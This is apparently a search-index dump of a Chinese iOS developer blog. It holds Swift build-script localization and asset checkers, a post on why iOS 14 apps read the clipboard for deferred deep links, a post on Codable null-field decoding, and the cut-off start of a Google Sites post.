.whitespacesAndNewlines).suffix(2) == \"OK\" else { let str = \"\\(path)/\\(name).lproj\" + \"/Localizable.strings:1: \" + \"error: [File Invaild] \" + \"This Localizable.strings file format is invalid.\" print(str) numberOfErrors += 1 return } guard let string = try? String(contentsOfFile: location, encoding: .utf8) else { return } let lines = string.components(separatedBy: .newlines) keyValue = [:] let pattern = \"\\\"(.*)\\\" = \\\"(.+)\\\";\" let regex = try? NSRegularExpression(pattern: pattern, options: []) var ignoredTranslation: [String] = [] for (lineNumber, line) in lines.enumerated() { let range = NSRange(location: 0, length: (line as NSString).length) // Ignored pattern let ignoredPattern = \"\\\"(.*)\\\" = \\\"(.+)\\\"; *\\\\/\\\\/ *ignore-same-translation-warning\" let ignoredRegex = try? NSRegularExpression(pattern: ignoredPattern, options: []) if let ignoredMatch = ignoredRegex?.firstMatch(in: line, options: [], range: range) { let key = (line as NSString).substring(with: ignoredMatch.range(at: 1)) ignoredTranslation.append(key) } if let firstMatch = regex?.firstMatch(in: line, options: [], range: range) { let key = (line as NSString).substring(with: firstMatch.range(at: 1)) let value = (line as NSString).substring(with: firstMatch.range(at: 2)) if keyValue[key] != nil { let str = \"\\(path)/\\(name).lproj\" + \"/Localizable.strings:\\(linesNumbers[key]!): \" + \"error: [Duplication] \\\"\\(key)\\\" \" + \"is duplicated in \\(name.uppercased()) file\" print(str) numberOfErrors += 1 } else { keyValue[key] = value linesNumbers[key] = lineNumber + 1 } } } print(ignoredFromSameTranslation) ignoredFromSameTranslation[name] = ignoredTranslation } func rebuildFileString(from lines: [String]) -> String { return lines.reduce(\"\") { (r: String, s: String) -> String in (r == \"\") ? (r + s) : (r + \"\\n\" + s) } } func removeEmptyLinesFromFile() { let location = \"\\(path)/\\(name).lproj/Localizable.strings\" if let string = try? String(contentsOfFile: location, encoding: .utf8) { var lines = string.components(separatedBy: .newlines) lines = lines.filter { $0.trimmingCharacters(in: .whitespaces) != \"\" } let s = rebuildFileString(from: lines) try? s.write(toFile: location, atomically: false, encoding: .utf8) } } func removeCommentsFromFile() { let location = \"\\(path)/\\(name).lproj/Localizable.strings\" if let string = try? String(contentsOfFile: location, encoding: .utf8) { var lines = string.components(separatedBy: .newlines) lines = lines.filter { !$0.hasPrefix(\"//\") } let s = rebuildFileString(from: lines) try? s.write(toFile: location, atomically: false, encoding: .utf8) } } func sortLinesAlphabetically() { let location = \"\\(path)/\\(name).lproj/Localizable.strings\" if let string = try? String(contentsOfFile: location, encoding: .utf8) { let lines = string.components(separatedBy: .newlines) var s = \"\" for (i, l) in sortAlphabetically(lines).enumerated() { s += l if i != lines.count - 1 { s += \"\\n\" } } try? s.write(toFile: location, atomically: false, encoding: .utf8) } } func removeEmptyLinesFromLines(_ lines: [String]) -> [String] { return lines.filter { $0.trimmingCharacters(in: .whitespaces) != \"\" } } func sortAlphabetically(_ lines: [String]) -> [String] { return lines.sorted() }}// MARK: - Load Localisation Files in memorylet masterLocalizationFile = LocalizationFiles(name: masterLanguage)let localizationFiles = supportedLanguages .filter { $0 != masterLanguage } .map { LocalizationFiles(name: $0) }// MARK: - Detect Unused Keyslet sourcesPath = FileManager.default.currentDirectoryPath + relativeSourceFolderlet fileManager = FileManager.defaultlet enumerator = fileManager.enumerator(atPath: sourcesPath)var localizedStrings: [String] = []while let swiftFileLocation = enumerator?.nextObject() as? String { // checks the extension if swiftFileLocation.hasSuffix(\".swift\") || swiftFileLocation.hasSuffix(\".m\") || swiftFileLocation.hasSuffix(\".mm\") { let location = \"\\(sourcesPath)/\\(swiftFileLocation)\" if let string = try? String(contentsOfFile: location, encoding: .utf8) { for p in patterns { let regex = try? NSRegularExpression(pattern: p, options: []) let range = NSRange(location: 0, length: (string as NSString).length) // Obj c wa regex?.enumerateMatches(in: string, options: [], range: range, using: { result, _, _ in if let r = result { let value = (string as NSString).substring(with: r.range(at: r.numberOfRanges - 1)) localizedStrings.append(value) } }) } } }}var masterKeys = Set(masterLocalizationFile.keyValue.keys)let usedKeys = Set(localizedStrings)let ignored = Set(ignoredFromUnusedKeys)let unused = masterKeys.subtracting(usedKeys).subtracting(ignored)let untranslated = usedKeys.subtracting(masterKeys)// Here generate Xcode regex Find and replace script to remove dead keys all at once!var replaceCommand = \"\\\"(\"var counter = 0for v in unused { var str = \"\\(path)/\\(masterLocalizationFile.name).lproj/Localizable.strings:\\(masterLocalizationFile.linesNumbers[v]!): \" str += \"error: [Unused Key] \\\"\\(v)\\\" is never used\" print(str) numberOfErrors += 1 if counter != 0 { replaceCommand += \"|\" } replaceCommand += v if counter == unused.count - 1 { replaceCommand += \")\\\" = \\\".*\\\";\" } counter += 1}print(replaceCommand)// MARK: - Compare each translation file against master (en)for file in localizationFiles { for k in masterLocalizationFile.keyValue.keys { if file.keyValue[k] == nil { var str = \"\\(path)/\\(file.name).lproj/Localizable.strings:\\(masterLocalizationFile.linesNumbers[k]!): \" str += \"error: [Missing] \\\"\\(k)\\\" missing from \\(file.name.uppercased()) file\" print(str) numberOfErrors += 1 } } let redundantKeys = file.keyValue.keys.filter { !masterLocalizationFile.keyValue.keys.contains($0) } for k in redundantKeys { let str = \"\\(path)/\\(file.name).lproj/Localizable.strings:\\(file.linesNumbers[k]!): \" + \"error: [Redundant key] \\\"\\(k)\\\" redundant in \\(file.name.uppercased()) file\" print(str) }}if checkForUntranslated { for key in untranslated { var str = \"\\(path)/\\(masterLocalizationFile.name).lproj/Localizable.strings:1: \" str += \"error: [Missing Translation] \\(key) is not translated\" print(str) numberOfErrors += 1 }}print(\"Number of warnings : \\(numberOfWarnings)\")print(\"Number of errors : \\(numberOfErrors)\")if numberOfErrors > 0 { exit(1)}func shell(_ command: String) -> String { let task = Process() let pipe = Pipe() task.standardOutput = pipe task.arguments = [\"-c\", command] task.launchPath = \"/bin/bash\" task.launch() let data = pipe.fileHandleForReading.readDataToEndOfFile() let output = String(data: data, encoding: .utf8)! return output} 最後最後,還沒結束!當我們的 swift 檢查工具腳本都調試完成之後,要將其 compile 成執行檔減少 build 花費時間 ,否則每次 build 都要重新 compile 一次(約能減少 90% 的時間)。打開 terminal ,前往專案中檢查工具腳本所在目錄下執行:swiftc -o Localize Localize.swift然後再回頭到 Build Phases 更改 Script 內容路徑成執行檔EX: ${SRCROOT}/Localize完工!工具 2. Asset Checker 👮 圖片資源檢查工具功能: build 時自動檢查 檢查圖片缺漏:名稱有呼叫,但圖片資源目錄內沒有出現 檢查圖片多餘:名稱未使用,但圖片資源目錄存在的安裝方法: 下載工具的 Swift Script 檔案 放到專案目錄下 EX: ${SRCROOT}/AssetChecker.swift 打開專案設定 → iOS Target → Build Phases →左上角「+」 → New Run Script Phases → 在 Script 內容貼上路徑${SRCROOT}/AssetChecker.swift ${SRCROOT}/專案目錄 ${SRCROOT}/Resources/Images.xcassets//${SRCROOT}/Resources/Images.xcassets = 你 .xcassets 的位置可直接將設定參數帶在路徑上,參數1:專案目錄位置、參數2:圖片資源目錄位置;或跟語系檢查工具一樣編輯 AssetChecker.swift 頂部參數設定區塊:// Configure me \\o/// 專案目錄位置(用來搜索圖片有沒有在程式碼中使用到)var sourcePathOption:String? = nil// .xcassets 目錄位置var assetCatalogPathOption:String? = nil// Unused 警告忽略項目let ignoredUnusedNames = [String]()4. Build! 成功!檢查結果提示類型: Build Error ❌ : - [Asset Missing] 項目在程式內有呼叫使用,但圖片資源目錄內沒有出現 Build Warning ⚠️ : - [Asset Unused] 項目在程式內未使用,但圖片資源目錄內有出現p.s 假設圖片是動態變數提供,檢查工具將無法識別,可將其加入 ignoredUnusedNames 中設為例外。其他操作同語系檢查工具,這邊就不做贅述;最重要的事是也要 記得調適完後要 compile 成執行檔,並更改 run script 內容為執行檔!開發自己的工具! 我們可以參考圖片資源檢查工具腳本:#!/usr/bin/env xcrun --sdk macosx swiftimport Foundation// Configure me \\o/var sourcePathOption:String? = nilvar assetCatalogPathOption:String? = nillet ignoredUnusedNames = [String]()for (index, arg) in CommandLine.arguments.enumerated() { switch index { case 1: sourcePathOption = arg case 2: assetCatalogPathOption = arg default: break }}guard let sourcePath = sourcePathOption else { print(\"AssetChecker:: error: Source path was missing!\") exit(0)}guard let assetCatalogAbsolutePath = assetCatalogPathOption else { print(\"AssetChecker:: error: Asset Catalog path was missing!\") exit(0)}print(\"Searching sources in \\(sourcePath) for assets in \\(assetCatalogAbsolutePath)\")/* Put here the asset generating false positives, For instance whne you build asset names at runtimelet ignoredUnusedNames = [ \"IconArticle\", \"IconMedia\", \"voteEN\", \"voteES\", \"voteFR\"] */// MARK : - End Of Configurable Sectionfunc elementsInEnumerator(_ enumerator: FileManager.DirectoryEnumerator?) -> [String] { var elements = [String]() while let e = enumerator?.nextObject() as? String { elements.append(e) } return elements}// MARK: - List Assetsfunc listAssets() -> [String] { let extensionName = \"imageset\" let enumerator = FileManager.default.enumerator(atPath: assetCatalogAbsolutePath) return elementsInEnumerator(enumerator) .filter { $0.hasSuffix(extensionName) } // Is Asset .map { $0.replacingOccurrences(of: \".\\(extensionName)\", with: \"\") } // Remove extension .map { $0.components(separatedBy: \"/\").last ?? $0 } // Remove folder path}// MARK: - List Used Assets in the codebasefunc localizedStrings(inStringFile: String) -> [String] { var localizedStrings = [String]() let namePattern = \"([\\\\w-]+)\" let patterns = [ \"#imageLiteral\\\\(resourceName: \\\"\\(namePattern)\\\"\\\\)\", // Image Literal \"UIImage\\\\(named:\\\\s*\\\"\\(namePattern)\\\"\\\\)\", // Default UIImage call (Swift) \"UIImage imageNamed:\\\\s*\\\\@\\\"\\(namePattern)\\\"\", // Default UIImage call \"\\\\<image name=\\\"\\(namePattern)\\\".*\", // Storyboard resources \"R.image.\\(namePattern)\\\\(\\\\)\" //R.swift support ] for p in patterns { let regex = try? NSRegularExpression(pattern: p, options: []) let range = NSRange(location:0, length:(inStringFile as NSString).length) regex?.enumerateMatches(in: inStringFile,options: [], range: range) { result, _, _ in if let r = result { let value = (inStringFile as NSString).substring(with:r.range(at: 1)) localizedStrings.append(value) } } } return localizedStrings}func listUsedAssetLiterals() -> [String] { let enumerator = FileManager.default.enumerator(atPath:sourcePath) print(sourcePath) #if swift(>=4.1) return elementsInEnumerator(enumerator) .filter { $0.hasSuffix(\".m\") || $0.hasSuffix(\".swift\") || $0.hasSuffix(\".xib\") || $0.hasSuffix(\".storyboard\") } // Only Swift and Obj-C files .map { \"\\(sourcePath)/\\($0)\" } // Build file paths .map { try? String(contentsOfFile: $0, encoding: .utf8)} // Get file contents .compactMap{$0} .compactMap{$0} // Remove nil entries .map(localizedStrings) // Find localizedStrings ocurrences .flatMap{$0} // Flatten #else return elementsInEnumerator(enumerator) .filter { $0.hasSuffix(\".m\") || $0.hasSuffix(\".swift\") || $0.hasSuffix(\".xib\") || $0.hasSuffix(\".storyboard\") } // Only Swift and Obj-C files .map { \"\\(sourcePath)/\\($0)\" } // Build file paths .map { try? String(contentsOfFile: $0, encoding: .utf8)} // Get file contents .flatMap{$0} .flatMap{$0} // Remove nil entries .map(localizedStrings) // Find localizedStrings ocurrences .flatMap{$0} // Flatten #endif}// MARK: - Begining of scriptlet assets = Set(listAssets())let used = Set(listUsedAssetLiterals() + ignoredUnusedNames)// Generate Warnings for Unused Assetslet unused = assets.subtracting(used)unused.forEach { print(\"\\(assetCatalogAbsolutePath):: warning: [Asset Unused] \\($0)\") }// Generate Error for broken Assetslet broken = used.subtracting(assets)broken.forEach { print(\"\\(assetCatalogAbsolutePath):: error: [Asset Missing] \\($0)\") }if broken.count > 0 { exit(1)}相較於語系檢查腳本,這個腳本簡潔且重要的功能都有,很有參考價值!P.S 可以看到程式碼出現 localizedStrings() 命名,懷疑作者是從語系檢查工具的邏輯搬來用,忘了改方法名稱XD例如:for (index, arg) in CommandLine.arguments.enumerated() { switch index { case 1: //參數1 case 2: //參數2 default: break }}func elementsInEnumerator(_ enumerator: FileManager.DirectoryEnumerator?) -> [String] { var elements = [String]() while let e = enumerator?.nextObject() as? String { elements.append(e) } return elements}func localizedStrings(inStringFile: String) -> [String] { var localizedStrings = [String]() let namePattern = \"([\\\\w-]+)\" let patterns = [ \"#imageLiteral\\\\(resourceName: \\\"\\(namePattern)\\\"\\\\)\", // Image Literal \"UIImage\\\\(named:\\\\s*\\\"\\(namePattern)\\\"\\\\)\", // Default UIImage call (Swift) \"UIImage imageNamed:\\\\s*\\\\@\\\"\\(namePattern)\\\"\", // Default UIImage call \"\\\\<image name=\\\"\\(namePattern)\\\".*\", // Storyboard resources \"R.image.\\(namePattern)\\\\(\\\\)\" //R.swift support ] for p in patterns { let regex = try? NSRegularExpression(pattern: p, options: []) let range = NSRange(location:0, length:(inStringFile as NSString).length) regex?.enumerateMatches(in: inStringFile,options: [], range: range) { result, _, _ in if let r = result { let value = (inStringFile as NSString).substring(with:r.range(at: 1)) localizedStrings.append(value) } } } return localizedStrings}func listUsedAssetLiterals() -> [String] { let enumerator = FileManager.default.enumerator(atPath:sourcePath) print(sourcePath) #if swift(>=4.1) return elementsInEnumerator(enumerator) .filter { $0.hasSuffix(\".m\") || $0.hasSuffix(\".swift\") || $0.hasSuffix(\".xib\") || $0.hasSuffix(\".storyboard\") } // Only Swift and Obj-C files .map { \"\\(sourcePath)/\\($0)\" } // Build file paths .map { try? String(contentsOfFile: $0, encoding: .utf8)} // Get file contents .compactMap{$0} .compactMap{$0} // Remove nil entries .map(localizedStrings) // Find localizedStrings ocurrences .flatMap{$0} // Flatten #else return elementsInEnumerator(enumerator) .filter { $0.hasSuffix(\".m\") || $0.hasSuffix(\".swift\") || $0.hasSuffix(\".xib\") || $0.hasSuffix(\".storyboard\") } // Only Swift and Obj-C files .map { \"\\(sourcePath)/\\($0)\" } // Build file paths .map { try? String(contentsOfFile: $0, encoding: .utf8)} // Get file contents .flatMap{$0} .flatMap{$0} // Remove nil entries .map(localizedStrings) // Find localizedStrings ocurrences .flatMap{$0} // Flatten #endif}//要讓 build 時出現 Error ❌:print(\"Project檔案.lproj\" + \"/檔案:行: \" + \"error: 錯誤訊息\")//要讓 build 時出現 Warning ⚠️:print(\"Project檔案.lproj\" + \"/檔案:行: \" + \"warning: 警告訊息\")可以綜合參考以上的程式方法,自己打造想要的工具。總結這兩個檢查工具導入之後,我們在開發上就能更安心、更有效率並且減少冗餘;也因為這次經驗大開眼界,日後如果有什麼新的 build run script 需求都能直接使用最熟悉的語言 swift 來進行製作!有任何問題及指教歡迎 與我聯絡 。===本文首次發表於 Medium ➡️ 前往查看" }, { "title": "iOS 14 剪貼簿竊資恐慌,隱私與便利的兩難", "url": "/posts/8a04443024e2/", "categories": "ZRealm, Dev.", "tags": "ios, ios-app-development, ios-14, hacking, security", "date": "2020-07-02 21:51:36 +0800", "snippet": "iOS 14 剪貼簿竊資恐慌,隱私與便利的兩難為何那麼多 iOS APP 會讀取你的剪貼簿?Photo by Clint Patterson⚠️ 2022/07/22 Update: iOS 16 Upcoming ChangesiOS ≥ 16 開始非使用者主動操作貼上動作,App 主動讀取剪貼簿的行為會跳出詢問視窗,使用者需要按允許,App 才能讀取到剪貼簿資訊。UIPasteBoard...", "content": "iOS 14 剪貼簿竊資恐慌,隱私與便利的兩難為何那麼多 iOS APP 會讀取你的剪貼簿?Photo by Clint Patterson⚠️ 2022/07/22 Update: iOS 16 Upcoming ChangesiOS ≥ 16 開始非使用者主動操作貼上動作,App 主動讀取剪貼簿的行為會跳出詢問視窗,使用者需要按允許,App 才能讀取到剪貼簿資訊。UIPasteBoard’s privacy change in iOS 16議題剪貼簿被 APP 讀取時的頂部提示訊息iOS 14 開始會提示使用者 APP 讀取了您的剪貼簿,尤其中國大陸的 APP 本來就惡名昭彰,再加上媒體不斷的放大報導,造成不小的隱私恐慌;但其實不只中國 APP, 美國 、台灣、日本…世界各地很多大大小小的 APP 全都現形,那到底是為了什麼那麼多 APP 都需要讀取剪貼簿呢?Google Search安全剪貼簿可能包含個人隱私甚至密碼,如使用 1Password、LastPass…等密碼管理器複製密碼;APP 有能力讀取到就有能力回傳回伺服器記錄,一切看開發者的良心,真要查的話可透過使用 中間人嗅探 ,監聽 APP 回傳回伺服器的資料,是否包含剪貼簿資訊。淵源剪貼簿 API ,從 iOS 3 2009 年開始就有,只是從 iOS 14 開始會多跳提示告知使用者而已,中間已過十餘年,如果是惡意的 APP 也收集夠足夠的資料了。為何為何那麼多 APP 不論國內外都會在 打開時 讀取剪貼簿呢?這邊要先定義一下,我說的情況是 「APP 打開時」 ,而不是 APP 使用中讀取剪貼簿;APP 使用中讀取的情況比較偏是 APP 內的功能應用,像是 Goolge Map 自動貼上剛複製的地址、但也不排除有的 APP 會不斷偷取剪貼簿資訊。 「一把菜刀可以切菜也可以殺人,取決於用的人拿來做什麼」APP 打開時會讀取剪貼簿主要原因是要做「 iOS Deferred Deep Link 」 加強使用者體驗 ,如上流程所示;當一個產品同時提供網頁及APP時,我們更希望使用者能安裝 APP(因黏著度更高),所以當使用者瀏覽網頁版網站時會導引下載 APP,但我們希望下載完開啟 APP 會自動打開網頁離開時的頁面。 EX: 當我在 safari 逛 PxHome 手機網頁版 -> 看到喜歡的產品想要購買 -> PxHome 希望流量導 APP -> 下載 APP -> 打開 APP -> 展現剛網頁看到的商品如果不這樣做,使用者只能 1. 回到網頁上再點一次 2. 在 APP 內重新搜尋一次產品;不管 1 還是 2 都會增加使用者購買上的困難及猶豫時間,可能就不買了!另一方面以營運來說,知道從哪個來源成功安裝的統計,對行銷、廣告預算投放都有很大的幫助。為何一定要用剪貼簿,有無其他替代方式?這是場 貓鼠遊戲 ,因為 iOS 蘋果本身不希望開發者有辦法反向追蹤使用者來源,iOS 9 之前的做法是將資訊存入網頁 Cookie,APP 安裝完後再讀取 Cookie 出來用,iOS 10 之後這條路被蘋果封住無法使用;退無可退大家才使用最終技 — 「用剪貼簿傳資訊」來達成,iOS 14 再次遞出新招,提示使用者讓開發者尷尬。另一條路是使用 Branch.io 的方式,記錄使用者輪廓(IP、手機資訊),然後用搓合的方式讀取資訊,原理上可行,但需要投入大量人力(牽涉到後端、資料庫、APP)去研究實作,且可能會誤判或碰撞。 *對面的 Android Google 原本就支援此功能,不用像 iOS 這樣繞來繞去。受影響的 APP可能很多 APP 開發者都不知道自己也出現剪貼簿隱私問題,因為 Google 的 Firebase Dynamic Links 服務也是使用同樣的原理實現:// Reason for this string to ensure that only FDL links, copied to clipboard by AppPreview Page// JavaScript code, are recognized and used in copy-unique-match process. If user copied FDL to// clipboard by himself, that link must not be used in copy-unique-match process.// This constant must be kept in sync with constant in the server version at// durabledeeplink/click/ios/click_page.js 所以任何有使用到 Google Firebase Dynamic Links 服務的 APP 都可能中槍剪貼簿隱私問題!個人觀點資安問題是有的,但就是「 信任」 ,信任開發者是拿來做正確的事;如果開發者要做惡,有更多的地方可以做惡,例如:偷取信用卡資訊、偷記錄真實密碼…等等,都要比這個有效的多。 提示的用途就是讓使用者能注意到剪貼簿讀取的時間點,如果不合理就要小心!讀者提問Q:「TikTok 回應存取剪貼簿是為了偵測濫發垃圾訊息的行為」這種說法是正確的嗎?A:我個人認為只是找個理由搪塞輿論,抖音的意思應該是「為了防止使用者四處複製貼上廣告訊息」;但實際可以在訊息輸入完成時或是送出訊息時再做阻擋過濾,沒必要時時監聽使用者剪貼簿的資訊!難道剪貼簿有廣告或「敏感」訊息也要管?我又沒貼上發表出去。開發者能做的事若手邊沒有備用機可升級 iOS 14 測試,可先從 Apple 下載 XCode 12 用模擬器測看看。一切都還太新,如果你是串 Firebase 可以先參考 Firebase-iOS-SDK/Issue #5893 更新到最新的 SDK。如果是自己實作 DeepLink 可以參考 Firebase-iOS-SDK #PR 5905 的修改:if #available(iOS 10.0, *) { if (UIPasteboard.general.hasURLs) { //UIPasteboard.general.string }} else { //UIPasteboard.general.string}if (@available(iOS 10.0, *)) { if ([[UIPasteboard generalPasteboard] hasURLs]) { //[UIPasteboard generalPasteboard].string; } } else { //[UIPasteboard generalPasteboard].string; } return pasteboardContents;}先檢查剪貼簿內容是否為網址(配合網頁 JavaScript 複製的內容是網址帶參數)是才讀取,就不會每次開啟 APP 都跳剪貼簿被讀取。 目前只能如此,提示跳還是會跳,就只是讓他更聚焦一點另外蘋果也增加了新的 API: DetectPattern ,幫助開發者能更精確判斷剪貼簿資訊是我們要的,然後再讀取,再跳提示,使用者能更安心、開發者也能繼續使用此功能。 DetectPattern 也還在 Beta、且僅能使用 Objective-C 實作。或是… 改用 Branch.io 自行實作 Branch.io 的原理 APP 先跳客製化 Alert 告知使用者,再讀取剪貼簿(讓使用者安心) 加入新隱私權條款 iOS 14 最新的 App Clips?,網頁 -> 導 App Clips 輕量使用 -> 深入操作導 APP===本文首次發表於 Medium ➡️ 前往查看" }, { "title": "現實使用 Codable 上遇到的 Decode 問題場景總匯(下)", "url": "/posts/cb00b1977537/", "categories": "", "tags": "ios, ios-app-development, codable, json, core-data", "date": "2020-06-26 01:56:31 +0800", "snippet": "現實使用 Codable 上遇到的 Decode 問題場景總匯(下)合理的處理 Response Null 欄位資料、不一定都要重寫 init decoderPhoto by Zan前言既上篇「 現實使用 Codable 上遇到的 Decode 問題場景總匯 」後,開發進度繼續邁進又遇到了新的場景新的問題,故出了此下篇,繼續把遇到的情景、研究心路都記錄下來,方便日後回頭查閱。前篇主要解決了 ...", "content": "現實使用 Codable 上遇到的 Decode 問題場景總匯(下)合理的處理 Response Null 欄位資料、不一定都要重寫 init decoderPhoto by Zan前言既上篇「 現實使用 Codable 上遇到的 Decode 問題場景總匯 」後,開發進度繼續邁進又遇到了新的場景新的問題,故出了此下篇,繼續把遇到的情景、研究心路都記錄下來,方便日後回頭查閱。前篇主要解決了 JSON String -> Entity Object 的 Decodable Mapping,有了 Entity Object 後我們可以轉換成 Model Object 在程式內傳遞使用、View Model Object 處理資料顯示邏輯…等等; 另一方面我們需要將 Entity 轉換成 NSManagedObject 存入本地 Core Data 中 。主要問題假設我們的歌曲 Entity 結構如下:struct Song: Decodable { var id: Int var name: String? var file: String? var converImage: String? var likeCount: Int? var like: Bool? var length: Int?}因 API EndPoint 並不一定會回傳完整資料欄位(只有 id 是一定會給),所以除 id 之外的欄位都是 Optional;例如:取得歌曲資訊的時候會回傳完整結構,但若是對歌曲收藏喜歡時僅會回傳 id 、 likeCount 、 like 三個有關聯更動的欄位資料。我們希望 API Response 有什麼欄位資料都能一併存入 Core Data 裡,如果資料已存在就更新變動的欄位資料(incremental update)。 但此時問題就出現了:Codable Decode 換成 Entity Object 後我們無法區別 「資料欄位是想要設成 nil」 還是 「Response 沒給」A Response:{ \"id\": 1, \"file\": null}對於 A Response、B Response 的 file 來說都是 null 、但意義不一一樣 ;A 是想把 file 欄位設為 null (清空原本資料)、 B 是想 update 其他資料,單純沒給 file 欄位而已。 Swift 社群有開發者提出 增加類似 date Strategy 的 null Strategy 在 JSONDecoder 中 ,讓我們能區分以上狀況,但目前沒有計畫要加入。解決方案如前所述,我們的架構是JSON String -> Entity Object -> NSManagedObject,所以當拿到 Entity Object 時已經是 Decode 後的結果了,沒有 raw data 可以操作;這邊當然可以拿原始 JSON String 比對操作,但與其這樣不如不要用 Codable。首先參考 上一篇 使用 Associated Value Enum 當容器裝值。enum OptionalValue<T: Decodable>: Decodable { case null case value(T) init(from decoder: Decoder) throws { let container = try decoder.singleValueContainer() if let value = try? container.decode(T.self) { self = .value(value) } else { self = .null } }}使用泛型,T 為真實資料欄位型別;.value(T) 能放 Decode 出來的值、.null 則代表值是 null。struct Song: Decodable { enum CodingKeys: String, CodingKey { case id case file } var id: Int var file: OptionalValue<String>? init(from decoder: Decoder) throws { let container = try decoder.container(keyedBy: CodingKeys.self) self.id = try container.decode(Int.self, forKey: .id) if container.contains(.file) { self.file = try container.decode(OptionalValue<String>.self, forKey: .file) } else { self.file = nil } }}var jsonData = \"\"\"{ \"id\":1}\"\"\".data(using: .utf8)!var result = try! JSONDecoder().decode(Song.self, from: jsonData)print(result)jsonData = \"\"\"{ \"id\":1, \"file\":null}\"\"\".data(using: .utf8)!result = try! JSONDecoder().decode(Song.self, from: jsonData)print(result)jsonData = \"\"\"{ \"id\":1, \"file\":\\\"https://test.com/m.mp3\\\"}\"\"\".data(using: .utf8)!result = try! JSONDecoder().decode(Song.self, from: jsonData)print(result) 範例先簡化成只有 id 、 file 兩個資料欄位。Song Entity 自行複寫實踐 Decode 方式,使用 contains(.KEY) 方法判斷 Response 有無給該欄位(無論值是什麼),如果有就 Decode 成 OptionalVale ;OptionalValue Enum 中會再對真正我們要的值做 Decode ,如果有值 Decode 成功則會放在 .value(T) 、如果給的值是 null (或 decode 失敗)則放在 .null 。 Response 有給欄位&值時:OptionalValue.value(VALUE) Response 有給欄位&值是 null 時:OptionalValue.null Response 沒給欄位時:nil 這樣就能區分出是有給欄位還是沒給欄位,後續要寫入 Core Data 時就能判斷是要更新欄位成 null、還是沒有要更新此欄位。其他研究 — Double Optional ❌Optional!Optional! 在 Swift 上就很適合處理這個場景。struct Song: Decodable { var id: Int var name: String?? var file: String?? var converImage: String?? var likeCount: Int?? var like: Bool?? var length: Int??} Response 有給欄位&值時:Optional(VALUE) Response 有給欄位&值是 null 時:Optional(nil) Response 沒給欄位時:nil但是….Codable JSONDecoder Decode 對 Double Optional 跟 Optional 都是 decodeIfPresent 在處理,都視為 Optional ,不會特別處理 Double Optional;所以結果跟原本一樣。其他研究 — Property Wrapper ❌本來預想可以用 Property Wrapper 做優雅的封裝,例如:@OptionalValue var file: String?但還沒開始研究細節就發現有 Property Wrapper 標記的 Codable Property 欄位,API Response 就必須要有該欄位,否則會出現 keyNotFound error,即使該欄位是 Optional。?????官方論壇也有針對此問題的 討論串 …估計之後會修正。 所以選用 BetterCodable 、 CodableWrappers 這類套件的時候要考慮到目前 Property Wrapper 的這個問題。其他問題場景1.API Response 使用 0/1 代表 Bool,該如何 Decode?import Foundationstruct Song: Decodable { enum CodingKeys: String, CodingKey { case id case name case like } var id: Int var name: String? var like: Bool? init(from decoder: Decoder) throws { let container = try decoder.container(keyedBy: CodingKeys.self) self.id = try container.decode(Int.self, forKey: .id) self.name = try container.decodeIfPresent(String.self, forKey: .name) if let intValue = try container.decodeIfPresent(Int.self, forKey: .like) { self.like = (intValue == 1) ? true : false } else if let boolValue = try container.decodeIfPresent(Bool.self, forKey: .like) { self.like = boolValue } }}var jsonData = \"\"\"{ \"id\": 1, \"name\": \"告五人\", \"like\": 0}\"\"\".data(using: .utf8)!var result = try! JSONDecoder().decode(Song.self, from: jsonData)print(result)延伸前篇,我們可以自己在 init Decode 中,Decode 成 int/Bool 然後自己賦值、這樣就能擴充原本的欄位能接受 0/1/true/false了。2.不想要每每都要重寫 init decoder在不想要自幹 Decoder 的情況下,複寫原本的 JSON Decoder 擴充更多功能。我們可以自行 extenstion KeyedDecodingContainer 對 public 方法自行定義,swift 會優先執行 module 下我們重定義的方法,複寫掉原本 Foundation 的實作。 影響的就是整個 module。 且不是真的 override,無法 call super.decode,也要小心不要自己 call 自己(EX: decode(Bool.Type,for:key) in decode(Bool.Type,for:key) )decode 有兩個方法: decode(Type, forKey:) 處理非 Optional 資料欄位 decodeIfPresent(Type, forKey:) 處理 Optional 資料欄位範例1. 前述的主要問題就我們可以直接 extenstion:extension KeyedDecodingContainer { public func decodeIfPresent<T>(_ type: T.Type, forKey key: Self.Key) throws -> T? where T : Decodable { //better: switch type { case is OptionalValue<String>.Type, is OptionalValue<Int>.Type: return try? decode(type, forKey: key) default: return nil } // or just return try? decode(type, forKey: key) }}struct Song: Decodable { var id: Int var file: OptionalValue<String>?}因主要問題是 Optional 資料欄位、Decodable 類型,所以我們複寫的是 decodeIfPresent<T: Decodable> 這個方法。這邊推測原本 decodeIfPresent 的實作是,如果資料是 null 或 Response 未給 會直接 return nil,並不會真的跑 decode。所以原理也很簡單,只要 Decodable Type 是 OptionValue<T> 則不論如何都 decode 看看,我們才能拿到不同狀態結果;但其實不判斷 Decodable Type 也行,那就是所有 Optional 欄位都會試著 Decode。範例2. 問題場景1 也能用此方法擴充:extension KeyedDecodingContainer { public func decodeIfPresent(_ type: Bool.Type, forKey key: KeyedDecodingContainer<K>.Key) throws -> Bool? { if let intValue = try? decodeIfPresent(Int.self, forKey: key) { return (intValue == 1) ? (true) : (false) } else if let boolValue = try? decodeIfPresent(Bool.self, forKey: key) { return boolValue } return nil }}struct Song: Decodable { enum CodingKeys: String, CodingKey { case id case name case like } var id: Int var name: String? var like: Bool?}var jsonData = \"\"\"{ \"id\": 1, \"name\": \"告五人\", \"like\": 1}\"\"\".data(using: .utf8)!var result = try! JSONDecoder().decode(Song.self, from: jsonData)print(result)結語Codable 在使用上的各種奇技淫巧都用的差不多了,有些其實很繞,因為 Codable 的約束性實在太強、犧牲許多現實開發上需要的彈性;做到最後甚至開始思考為何當初要選擇 Codable,優點越做越少….參考資料 或许你并不需要重写 init(from:)方法回看 現實使用 Codable 上遇到的 Decode 問題場景總匯(上)有任何問題及指教歡迎 與我聯絡 。===本文首次發表於 Medium ➡️ 前往查看" }, { "title": "使用 Google Site 建立個人網站還跟得上時代嗎?", "url": "/posts/724a7fb9a364/", "categories": "ZRealm, Life.", "tags": "google, google-sites, web-development, 生活, domain-names", "date": "2020-06-17 23:53:54 +0800", "snippet": "使用 Google Site 建立個人網站還跟得上時代嗎?新 Google Site 個人網站建立經驗及設定教學Update 2022–07–17目前已透過我自己撰寫的 ZMediumToMarkdown 工具將 Medium 文章打包下載並轉換為 Markdown 格式,搬遷到 Jekyll。zhgchg.li 手把手無痛轉移教學可點此 🚀🚀🚀🚀🚀===起源去年換工作時,很「虛花」的註冊...", "content": "使用 Google Site 建立個人網站還跟得上時代嗎?新 Google Site 個人網站建立經驗及設定教學Update 2022–07–17目前已透過我自己撰寫的 ZMediumToMarkdown 工具將 Medium 